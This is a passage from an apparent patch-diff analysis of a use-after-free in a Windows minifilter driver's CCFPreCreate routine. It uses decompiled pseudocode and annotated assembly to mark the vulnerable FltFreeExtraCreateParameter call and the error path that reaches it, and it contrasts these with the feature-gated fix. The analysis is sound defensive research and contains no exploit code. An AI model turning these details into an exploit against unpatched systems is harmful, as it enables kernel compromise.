&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;WORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;EcpContext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mh"&gt;0x14&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;// init ECP context length&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CCFAddEcpToCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CallbackData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EcpContext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;var_b8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//         ^ inside: FltGetEcpListFromCallbackData / (FltAllocateExtraCreateParameterList +&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//           FltSetEcpListIntoCallbackData) / FltInsertExtraCreateParameter&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;//           *** OWNERSHIP TRANSFERRED TO IRP ECP LIST; var_b8 zeroed ***&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                               &lt;/span&gt;&lt;span class="c1"&gt;// STATUS_SUCCESS&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;var_b8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                            &lt;/span&gt;&lt;span class="c1"&gt;// never taken (var_b8 cleared by callee)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;FltFreeExtraCreateParameter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EcpContext&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;EcpContext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LABEL_72&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                           &lt;/span&gt;&lt;span class="c1"&gt;// *** EcpContext still non-null &amp;amp; still listed ***&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;...&lt;/span&gt;
&lt;span class="nl"&gt;LABEL_87&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="c1"&gt;// set by a failed version/CSV ECP step&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EcpContext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;FltFreeExtraCreateParameter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EcpContext&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;//  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="c1"&gt;//  *** BUG: ECP is still linked in the IRP&amp;#39;s ECP list ***&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="n"&gt;EcpContext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;CallbackData&lt;/span&gt;&lt;span class="o"&gt;-&amp;gt;&lt;/span&gt;&lt;span class="n"&gt;IoStatus&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Status&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// =============== PATCHED CCFPreCreate — same success site ===============&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;CCFAddEcpToCreate&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;CallbackData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EcpContext&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;var_b8&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;v4&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;...;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LABEL_90&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;var_b8&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                                &lt;/span&gt;&lt;span class="c1"&gt;// still never taken&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;FltFreeExtraCreateParameter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;EcpContext&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;EcpContext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)((&lt;/span&gt;&lt;span class="kt"&gt;uintptr_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;EcpContext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int64_t&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;());&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;// NEW: clear on the whole success path&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;EcpContext&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;nullptr&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                    &lt;/span&gt;&lt;span class="c1"&gt;// -&amp;gt; error-cleanup no longer frees the listed ECP&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;goto&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;LABEL_75&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;

&lt;span class="c1"&gt;// =============== EvaluateCurrentState (sub_1c00017b8, new patched helper) ===============&lt;/span&gt;
&lt;span class="c1"&gt;// Windows Feature Staging gate; returns (cachedstate != 1)&lt;/span&gt;
&lt;span class="kt"&gt;bool&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;EvaluateFeature&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;g_Feature_2963746106_60258290_FeatureDescriptorDetails&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;g_Feature_2963746106_60258290_cachedstate&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Key observation:&lt;/strong&gt; the &lt;code&gt;FltFreeExtraCreateParameter&lt;/code&gt; calls themselves are byte-for-byte identical between the two builds. The only behavioral change is &lt;em&gt;where&lt;/em&gt; the local &lt;code&gt;EcpContext&lt;/code&gt; pointer is nulled: the unpatched build nulls it only inside the never-taken &lt;code&gt;if (var_b8)&lt;/code&gt; branch, so on the normal success path it stays live and the later error-cleanup can free the already-listed ECP. The patch nulls it on the whole success path (feature-gated) so that error-cleanup free can no longer reach the ECP FltMgr already owns.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;&lt;code&gt;CCFPreCreate&lt;/code&gt; — vulnerable region (unpatched, &lt;code&gt;sub_1c0007760&lt;/code&gt;)&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;; ===== Block: CCFAddEcpToCreate call site (ownership transfer) =====&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007baa:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;CCFAddEcpToCreate&lt;/span&gt;&lt;span class="w"&gt;         &lt;/span&gt;&lt;span class="c1"&gt;; (rcx=CallbackData, rdx=EcpContext, r8=&amp;amp;var_b8)&lt;/span&gt;
&lt;span class="w"&gt;                                                &lt;/span&gt;&lt;span class="c1"&gt;;   =&amp;gt; FltInsertExtraCreateParameter inside =&amp;gt; IRP ECP list owns ECP; var_b8=0&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007bb5:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007bb7:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jns&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;loc_1c0007bfd&lt;/span&gt;&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="c1"&gt;; if (CCFAddEcpToCreate &amp;gt;= 0) goto success&lt;/span&gt;

&lt;span class="c1"&gt;; ===== Block: never-taken consumed branch (var_b8 already zeroed) =====&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007bfd:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;cmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;byte&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x40&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14b&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; var_b8 (== 0)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007c02:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c0007c61&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; -&amp;gt; version/CSV ECP handling (taken)&lt;/span&gt;
&lt;span class="na"&gt;...&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007c3d:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; rdx = EcpContext&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x58&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; rcx = filter handle&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007c4b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_FltFreeExtraCreateParameter&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007c57:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; EcpContext = NULL (inside never-taken branch)&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="nf"&gt;jmp&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c0007c61&lt;/span&gt;

&lt;span class="c1"&gt;; ===== Block: error-cleanup — THE vulnerable free =====&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007d43:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;edi&lt;/span&gt;&lt;span class="w"&gt;                   &lt;/span&gt;&lt;span class="c1"&gt;; edi = status (set &amp;lt; 0 by a failed version/CSV ECP step)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007d45:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jns&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="mi"&gt;0x1c0007d79&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="c1"&gt;; skip if success&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007d47:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="c1"&gt;; rdx = EcpContext (still non-null; still in IRP ECP list)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007d4c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;test&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;rdx&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007d4f:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;jz&lt;/span&gt;&lt;span class="w"&gt;      &lt;/span&gt;&lt;span class="mi"&gt;0x1c0007d6b&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x58&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;
&lt;span class="w"&gt;             &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;rcx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rax&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x8&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt;       &lt;/span&gt;&lt;span class="c1"&gt;; rcx = filter handle&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007d5a:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_FltFreeExtraCreateParameter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; *** frees still-listed ECP -&amp;gt; UAF ***&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007d66:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;qword&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="no"&gt;rsp&lt;/span&gt;&lt;span class="err"&gt;+&lt;/span&gt;&lt;span class="mi"&gt;0x48&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="no"&gt;r14&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;h3&gt;&lt;code&gt;CCFPreCreate&lt;/code&gt; — patched region&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007c4b:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;cs&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="no"&gt;__imp_FltFreeExtraCreateParameter&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;; (never-taken branch; unchanged)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007c57:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;call&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="no"&gt;EvaluateCurrentState&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;; returns (cachedstate != 1)&lt;/span&gt;
&lt;span class="err"&gt;0&lt;/span&gt;&lt;span class="nl"&gt;x1c0007c5c:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;neg&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="no"&gt;eax&lt;/span&gt;&lt;span class="w"&gt;                         &lt;/span&gt;&lt;span class="c1"&gt;; mask = (flag==1) ? 0 : -1&lt;/span&gt;
